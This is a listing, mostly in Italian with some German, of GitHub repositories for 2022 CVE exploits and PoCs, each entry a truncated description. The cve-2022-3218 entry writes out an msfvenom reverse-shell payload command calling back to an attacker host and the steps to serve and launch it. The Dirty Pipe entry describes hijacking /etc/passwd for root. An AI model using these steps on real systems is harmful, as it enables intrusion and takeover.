netgear_r6700v3_circled

Sfruttare uno Stack Buffer Overflow sul NETGEAR R6700v3 CVE-2022-27646 con l'aiuto dell'Esecuzione Simbolica Introduzione Questo repository ha lo scopo di dimostrare alcune funzionalità di Morion, uno strumento proof-of-concept PoC per sperimentare con l'esecuzione simbolica su binari ARMv7 reali...

CVE-2022-25020

Questo repository non contiene un README...

CVE-2022-25018

Questo repository non contiene un README...

CVE-2022-41040

Questo repository non contiene un README...

cve-2022-3218

Passo 1 — Creare un payload REALE Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Passo 2 — Servire il payload via HTTP Nella stessa directory: python3 -m http.server 80 Passo 3 — Adattare l'exploit Esegui così: python3 CVE-2022-3218.py 172.20.7.18...

DirtyPipe_exploit

DirtyPipeexploit CVE-2022-0847...

WSOB

😭 WSOB CVE-2022-29464 😭 WSOB è uno strumento Python creato per sfruttare la nuova vulnerabilità su WSO2 assegnata come CVE-2022-29464. Dettagli CVE-2022-29464: Alcuni prodotti WSO2 consentono il caricamento di file senza restrizioni con conseguente esecuzione di codice remoto. L'attaccante deve...

Chrome-and-Edge-Version-Dumper

Chrome-and-Edge-Version-Dumper Script Powershell che esporta la versione di Chrome e Edge in un file di testo per determinare se è necessario aggiornare a causa di CVE-2022-1096 Assicurati di modificare i percorsi prima di utilizzarlo e di creare la cartella in cui verrà salvato l'output...

CVE-2022-40684

CVE-2022-40684 POC With RUST For CVE-2022-40684 Fortinet FortiOS, FortiProxy, and FortiSwitchManager...

dirtyPipe-automaticRoot

Dirty Pipe: exploit automatico di root CVE-2022-0847 Dipendenze: Python 3.10 o superiore Come usare: Root automatico: root@kitploit: $ python3.10 dirtyPipe.py -a + hjacking super user in /etc/passwd + dropipng shell Scrivi in un file senza permessi di scrittura, immutabile o montato in sola...

CVE-2022-41852-Disable

Questo repository non contiene un README...

ICT287-CVE-2022-42889

ICT287-CVE-2022-42889 Den vollständigen Bericht zum Exploit-Setup und zur Reproduktion finden Sie in der Datei "CVE-2022-42889-Project Vulnerability Exploitation Report". Die VM, die zum Erstellen und Ausführen des Exploits verwendet wurde, ist nicht in diesem Repository enthalten. Einrichtung un...

spring-rce-poc

spring-rce-poc Test di CVE-2022-22968 Semplice applicazione vulnerabile a CVE-2022-22968 Dockerfile può essere utilizzato per crearla su una versione vulnerabile di Tomcat 9.0.59 exploit.sh è uno script shell che tenta di sfruttare questa CVE sulla porta 8080 di localhost Se l'attacco con...

SSI-CVE-2022-21661

SSI-CVE-2022-21661 Secondo compito di Sicurezza dei Sistemi Informativi Studiare e sfruttare la vulnerabilità CVE-2022-21661 che consente SQL Injection tramite richieste POST dei plugin alle versioni di WordPress inferiori alla 5.8.3. Configurazione dell'ambiente Per avviare e configurare...

snakeyaml_cve_poc

snakeyamlcvepoc SnakeYAML-CVE-2022-1471-POC compilazione Puoi compilare il jar sul tuo host con mvn clean compile assembly:single Oppure usa docker per creare un'immagine con docker build -t snakeyaml . esecuzione Esegui il container con docker run --rm -p8080:8080 snakeyaml oppure il jar se l'ha...

FollinaExtractor

FollinaExtractor Estrai gli URL dei payload dai file docx e rtf di Follina CVE-2022-30190 usage: extractfollina.py -f C:\path\to\file.rtf...

GitPython-Exploit-CVE-2022-24439

GitPython-Exploit Pentest pratico...

CVE-2022-24112

CVE-2022-24112: Remote-Code-Ausführungsschwachstelle in Apache APISIX root@kitploit: go run apisix-exploit.go -t -c Referenzen: https://nvd.nist.gov/vuln/detail/CVE-2022-24112 https://lists.apache.org/thread/dzmgf0bwfmt58rfbz611gqo2b56qyqwq...

CVE-2022-31814

CVE-2022-31814...

Spring0DayCoreExploit

Spring Core RCE - CVE-2022-22963 Dopo Spring Cloud, il 29 marzo un'altra vulnerabilità pesante di Spring è esplosa su Internet: Spring Core RCE Il PoC in circolazione: Lo exploit è stato caricato comeexp.py La patch ufficiale di Spring è anche in produzione attiva Link alla patch nella produzione...